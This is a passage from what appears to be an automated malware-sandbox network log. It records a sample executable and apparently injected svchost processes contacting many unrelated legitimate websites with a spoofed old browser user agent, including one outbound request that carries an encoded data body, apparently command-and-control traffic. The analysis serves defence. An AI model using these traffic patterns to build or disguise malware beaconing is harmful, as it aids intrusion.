2023-03-10 06:56:29 UTC	2251	IN	Data Raw: 32 64 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 69 6e 6a 61 46 69 72 65 77 61 6c 6c 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 2f 68 65 61 64 3e 3c Data Ascii: 2de<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>NinjaFirewall 403 Forbidden</title><style>body{font-family:sans-serif;font-size:13px;color:#000;}</style><meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head><

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.6	52950	5.189.171.125	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:14 UTC	210	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: www.muhr-soehne.de Content-Length: 4428
2023-03-10 06:56:14 UTC	211	OUT	Data Raw: 61 5a 49 73 4f 54 39 4a 54 56 42 54 56 31 70 64 59 47 4e 6d 61 6d 31 77 63 33 65 77 76 58 73 65 62 78 4a 4a 54 62 39 2b 58 34 72 72 4f 31 31 72 4b 77 4e 6b 6d 65 6c 74 45 39 57 7a 31 51 36 65 4d 55 35 41 69 57 79 64 48 46 7a 41 66 62 71 68 5a 32 61 57 36 45 78 73 56 43 6d 32 79 4b 6a 47 68 36 79 58 53 4b 42 6f 34 75 6f 4e 6b 7a 53 69 49 58 4b 6c 35 68 59 63 44 48 64 52 76 63 71 6f 61 78 45 6c 6b 64 69 73 4b 55 4d 4f 34 4b 66 31 72 48 5a 71 51 4e 54 51 2f 77 33 53 61 48 65 4e 72 59 52 46 56 47 38 63 55 54 64 6a 2b 6d 6c 79 6a 74 56 63 75 6c 42 37 45 42 57 64 56 6b 69 34 55 76 37 32 53 4b 4e 42 47 77 7a 2f 78 34 75 53 6e 2b 38 6e 4b 4d 50 6c 2b 74 74 52 45 53 77 53 54 34 54 72 45 4c 69 42 59 4d 71 4f 38 58 6f 46 48 6e 4f 51 6a 59 70 69 71 39 6c 4a 4e 6f 6e Data Ascii: aZIsOT9JTVBTV1pdYGNmam1wc3ewvXsebxJJTb9+X4rrO11rKwNkmeltE9Wz1Q6eMU5AiWydHFzAfbqhZ2aW6ExsVCm2yKjGh6yXSKBo4uoNkzSiIXKl5hYcDHdRvcqoaxElkdisKUMO4Kf1rHZqQNTQ/w3SaHeNrYRFVG8cUTdj+mlyjtVculB7EBWdVki4Uv72SKNBGwz/x4uSn+8nKMPl+ttRESwST4TrELiBYMqO8XoFHnOQjYpiq9lJNon
2023-03-10 06:56:14 UTC	216	IN	HTTP/1.1 200 OK Date: Fri, 10 Mar 2023 06:56:14 GMT Server: Apache/2.4.38 (Debian) Last-Modified: Thu, 02 Mar 2023 15:05:19 GMT Accept-Ranges: bytes Content-Length: 51841 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8
2023-03-10 06:56:14 UTC	216	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 64 65 22 3e 0a 3c 68 65 61 64 3e 0a 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 21 2d 2d 20 0a 09 6d 61 64 65 20 62 79 20 50 53 56 6e 65 6f 0a 0a 09 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 70 6f 77 65 72 65 64 20 62 79 20 54 59 50 4f 33 20 2d 20 69 6e 73 70 69 72 69 6e 67 20 70 65 6f 70 6c 65 20 74 6f 20 73 68 61 72 65 21 0a 09 54 59 50 4f 33 20 69 73 20 61 20 66 72 65 65 20 6f 70 65 6e 20 73 6f 75 72 63 65 20 43 6f 6e 74 65 6e 74 20 4d 61 6e 61 67 65 6d 65 6e 74 20 46 72 61 6d 65 77 6f 72 6b 20 69 6e 69 74 69 61 6c 6c 79 20 63 72 65 61 74 65 64 20 62 79 20 4b 61 73 70 65 72 20 53 6b 61 61 72 68 6f 6a 20 Data Ascii: <!DOCTYPE html><html dir="ltr" lang="de"><head><meta charset="utf-8">... made by PSVneoThis website is powered by TYPO3 - inspiring people to share!TYPO3 is a free open source Content Management Framework initially created by Kasper Skaarhoj
2023-03-10 06:56:14 UTC	232	IN	Data Raw: 20 20 20 20 20 20 20 56 65 72 73 63 68 6c 69 65 c3 9f 6d 61 73 63 68 69 6e 65 6e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 3c 2f 6c 69 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 2d 69 74 65 6d 20 6c 61 79 6f 75 74 2d 30 20 20 22 3e 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 2f 76 65 72 73 63 68 6c 69 65 Data Ascii: Verschliemaschinen </a> </li> <li class="nav-item layout-0 "> <a href="/verschlie
2023-03-10 06:56:14 UTC	261	IN	Data Raw: 66 72 61 6d 65 2d 6c 61 79 6f 75 74 2d 30 20 20 20 6d 74 2d 30 20 6d 62 2d 30 0a 20 20 20 20 0a 0a 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 78 6c 2d 33 20 63 6f 6c 2d 6c 67 2d 36 20 63 6f 6c 2d 6d 64 2d 36 20 63 6f 6c 2d 73 6d 2d 31 32 20 63 6f 6c 2d 31 32 20 6d 79 2d 34 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 65 72 76 69 63 65 62 6f 78 20 68 2d 31 30 30 20 62 67 2d 6c 69 67 68 74 2d 67 72 65 79 20 64 2d 66 6c 65 78 20 66 6c 65 78 2d 63 6f 6c 75 6d 6e 20 68 2d 31 30 30 20 77 2d 31 30 30 20 70 2d 33 20 22 3e 0a Data Ascii: frame-layout-0 mt-0 mb-0 "> <div class="row"> <div class="col-xl-3 col-lg-6 col-md-6 col-sm-12 col-12 my-4"> <div class="servicebox h-100 bg-light-grey d-flex flex-column h-100 w-100 p-3 ">
2023-03-10 06:56:14 UTC	277	IN	Data Raw: 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 2d 63 65 6e 74 65 72 20 6d 79 2d 33 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6d 78 2d 30 20 6d 78 2d 6d 64 2d 35 20 6d 79 2d 32 20 6d 79 2d 6d 64 2d 30 22 20 69 74 65 6d 70 72 6f 70 3d 22 69 74 65 6d 4c 69 73 74 45 6c 65 6d 65 6e 74 22 20 69 74 65 6d 73 63 6f 70 65 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 4c 69 73 74 49 74 65 6d 22 20 61 72 69 61 2d 63 75 72 72 65 6e 74 3d 22 70 61 67 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 Data Ascii: justify-content-center my-3"> <li class="mx-0 mx-md-5 my-2 my-md-0" itemprop="itemListElement" itemscope itemtype="https://schema.org/ListItem" aria-current="page"> <a hr

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
150	192.168.2.6	64051	188.114.96.3	443	C:\Users\user\Desktop\iJzpyjAehB.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:29 UTC	2317	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: hyab.se
2023-03-10 06:56:29 UTC	2318	IN	HTTP/1.1 302 Found Date: Fri, 10 Mar 2023 06:56:29 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Location: https://hyab.com Cache-Control: max-age=600 Expires: Fri, 10 Mar 2023 07:06:29 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ShTCVdQWKWEi%2BRN%2BX7WWNM1PYv%2BtiTv5o%2FQkNwpQCFSstQ063Ufk5sh%2BhOecoXWwzWaCg%2FddZEOB%2B295q1tQ2F02I0H%2BeyR%2BFWHBbRYm8IGX7RluAmGeFBck"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a8765eb5bbb6-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:29 UTC	2319	IN	Data Raw: 63 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 79 61 62 2e 63 6f 6d 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: c8<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://hyab.com">here</a>.</p></body></html>
2023-03-10 06:56:29 UTC	2319	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
151	192.168.2.6	64240	104.21.48.207	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:29 UTC	2318	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: orlyhotel.com Cookie: django_language=en
2023-03-10 06:56:29 UTC	2320	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 10 Mar 2023 06:56:29 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Cache-Control: max-age=0, no-store, no-cache, must-revalidate Expires: Fri, 10 Mar 2023 06:46:33 GMT Content-Language: en Last-Modified: Fri, 10 Mar 2023 06:46:33 GMT X-Frame-Options: SAMEORIGIN Vary: Accept-Language CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=VUyEmWBTr%2BXGu3nrtcclGS7EVeiONehfu8nH4VO0r18Pu4amoicEXUiUc6T5FVGfJe83BWoptTg36C7j4GJ2SuNBL8haOMaAPz8XCKif3BySDhItgvaWyTOM%2BOTQk1qm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a8773b039a17-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:29 UTC	2321	IN	Data Raw: 31 62 0d 0a 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 20 28 35 30 30 29 3c 2f 68 31 3e 0d 0a Data Ascii: 1b<h1>Server Error (500)</h1>
2023-03-10 06:56:29 UTC	2321	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
152	192.168.2.6	64489	138.201.65.187	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:29 UTC	2319	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: diamir.de
2023-03-10 06:56:29 UTC	2319	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 10 Mar 2023 06:56:29 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.diamir.de/ Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2023-03-10 06:56:29 UTC	2320	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
153	192.168.2.6	64610	188.114.96.3	443	C:\Users\user\Desktop\iJzpyjAehB.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:29 UTC	2320	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: hyab.se
2023-03-10 06:56:29 UTC	2322	IN	HTTP/1.1 302 Found Date: Fri, 10 Mar 2023 06:56:29 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Location: https://hyab.com Cache-Control: max-age=600 Expires: Fri, 10 Mar 2023 07:06:29 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=0Aqq9vFD7uJY3HZQzx6O1bMRiVwPg9ssMy7s4JwOptFZPRjY44oK0G6mEeUMb4m4MgR7S7qtscGm98mbIzbMCn3Bp436r9kVNBBW6RQj8DoAfwKhULlEwJhO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a878bf4f92b3-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:29 UTC	2323	IN	Data Raw: 63 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 79 61 62 2e 63 6f 6d 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: c8<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://hyab.com">here</a>.</p></body></html>
2023-03-10 06:56:29 UTC	2323	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
154	192.168.2.6	64623	138.201.65.187	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:29 UTC	2321	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: www.diamir.de
2023-03-10 06:56:29 UTC	2321	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Fri, 10 Mar 2023 06:56:29 GMT Content-Type: text/html Content-Length: 548 Connection: close Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2023-03-10 06:56:29 UTC	2321	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
155	192.168.2.6	64669	188.114.97.3	443	C:\Users\user\Desktop\iJzpyjAehB.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:29 UTC	2322	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: sigtoa.com
2023-03-10 06:56:29 UTC	2323	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Permissions-Policy: accelerometer=(),autoplay=(),camera=(),clipboard-read=(),clipboard-write=(),fullscreen=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() Referrer-Policy: same-origin X-Frame-Options: SAMEORIGIN Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=gi6ilxtKHfH8ohCyGJjM8nu8pYGwIDKo6O4sUi0fS3Lx2MgVi0IJDTYK53Z8tHv6tfFaF6zbVH4QUHNMch0SYroqnrSC7Q%2F2rY8r2Xq7447GF%2FavjUrypJEgDTZS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a8795cdcbb61-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:29 UTC	2324	IN	Data Raw: 31 65 61 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 Data Ascii: 1ea7<!DOCTYPE html><html lang="en-US"><head> <title>Just a moment...</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=Edge"> <meta name="robots" content="noindex
2023-03-10 06:56:29 UTC	2324	IN	Data Raw: 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 2d 77 72 61 70 70 65 72 22 20 72 6f 6c 65 3d 22 6d 61 69 6e 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 63 6c 61 73 73 3d 22 7a 6f 6e 65 2d 6e 61 6d 65 2d 74 69 74 6c 65 20 68 31 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 63 6c 61 73 Data Ascii: ,initial-scale=1"> <link href="/cdn-cgi/styles/challenges.css" rel="stylesheet"> </head><body class="no-js"> <div class="main-wrapper" role="main"> <div class="main-content"> <h1 class="zone-name-title h1"> <img clas
2023-03-10 06:56:29 UTC	2325	IN	Data Raw: 22 2f 3f 5f 5f 63 66 5f 63 68 6c 5f 66 5f 74 6b 3d 64 74 63 6c 74 6b 7a 31 77 70 75 58 74 47 33 36 68 56 30 6a 72 5f 65 78 65 62 56 45 6a 32 6a 66 4f 63 47 59 4f 2e 67 62 32 67 45 2d 31 36 37 38 34 33 31 33 38 39 2d 30 2d 67 61 4e 79 63 47 7a 4e 43 50 73 22 20 6d 65 74 68 6f 64 3d 22 50 4f 53 54 22 20 65 6e 63 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 6d 64 22 20 76 61 6c 75 65 3d 22 78 52 4a 6b 7a 52 69 49 35 4d 42 67 67 48 72 75 64 44 51 62 33 69 44 73 4c 76 74 4b 74 52 57 36 76 43 4d 53 4a 63 4b 42 79 37 34 2d 31 36 37 38 34 33 31 33 38 39 2d 30 2d 41 51 Data Ascii: "/?__cf_chl_f_tk=dtcltkz1wpuXtG36hV0jr_exebVEj2jfOcGYO.gb2gE-1678431389-0-gaNycGzNCPs" method="POST" enctype="application/x-www-form-urlencoded"> <input type="hidden" name="md" value="xRJkzRiI5MBggHrudDQb3iDsLvtKtRW6vCMSJcKBy74-1678431389-0-AQ
2023-03-10 06:56:29 UTC	2327	IN	Data Raw: 39 63 73 4e 76 53 4c 77 4e 45 30 61 71 54 77 42 5f 36 7a 75 37 68 52 65 7a 77 30 68 4a 68 38 74 41 76 77 54 74 57 69 39 34 33 6e 65 59 4b 38 6c 58 71 7a 45 57 67 6d 5a 55 48 55 67 56 4b 30 71 5a 6c 33 78 52 65 38 66 70 37 64 4a 30 43 76 6a 5f 37 57 59 5a 42 38 55 30 4b 75 41 6e 46 34 32 76 30 72 55 75 65 34 77 33 67 6c 66 32 67 45 6c 73 35 73 70 69 57 5a 66 39 61 66 38 55 33 64 36 2d 54 52 5a 75 30 7a 50 61 4f 77 31 76 34 38 57 36 7a 54 6c 6b 63 47 4c 43 4a 6f 75 55 4e 50 6c 72 30 63 73 44 38 4c 46 66 76 59 33 6d 6a 44 4f 6a 38 53 69 6b 48 66 4c 4c 51 66 55 37 6e 39 66 4d 32 58 43 51 31 6c 6f 66 6b 54 51 46 59 6c 77 33 6f 67 6f 42 6e 37 51 6b 61 4e 76 7a 36 77 58 5a 5f 49 38 54 4c 74 57 30 47 44 30 53 4b 4a 6d 46 51 39 6b 31 56 4c 45 74 57 48 45 45 58 6a Data Ascii: 9csNvSLwNE0aqTwB_6zu7hRezw0hJh8tAvwTtWi943neYK8lXqzEWgmZUHUgVK0qZl3xRe8fp7dJ0Cvj_7WYZB8U0KuAnF42v0rUue4w3glf2gEls5spiWZf9af8U3d6-TRZu0zPaOw1v48W6zTlkcGLCJouUNPlr0csD8LFfvY3mjDOj8SikHfLLQfU7n9fM2XCQ1lofkTQFYlw3ogoBn7QkaNvz6wXZ_I8TLtW0GD0SKJmFQ9k1VLEtWHEEXj
2023-03-10 06:56:29 UTC	2328	IN	Data Raw: 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 48 61 73 68 3a 20 27 62 35 33 31 63 38 38 62 66 37 38 37 64 34 32 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 55 50 4d 44 54 6b 3a 20 22 5c 2f 3f 5f 5f 63 66 5f 63 68 6c 5f 74 6b 3d 64 74 63 6c 74 6b 7a 31 77 70 75 58 74 47 33 36 68 56 30 6a 72 5f 65 78 65 62 56 45 6a 32 6a 66 4f 63 47 59 4f 2e 67 62 32 67 45 2d 31 36 37 38 34 33 31 33 38 39 2d 30 2d 67 61 4e 79 63 47 7a 4e 43 50 73 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 46 50 57 76 3a 20 27 67 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 54 54 69 6d 65 4d 73 3a 20 27 31 30 30 30 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 4d 54 69 6d 65 4d 73 3a 20 27 30 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 54 70 6c 56 3a 20 34 2c 0a 20 20 20 Data Ascii: ', cHash: 'b531c88bf787d42', 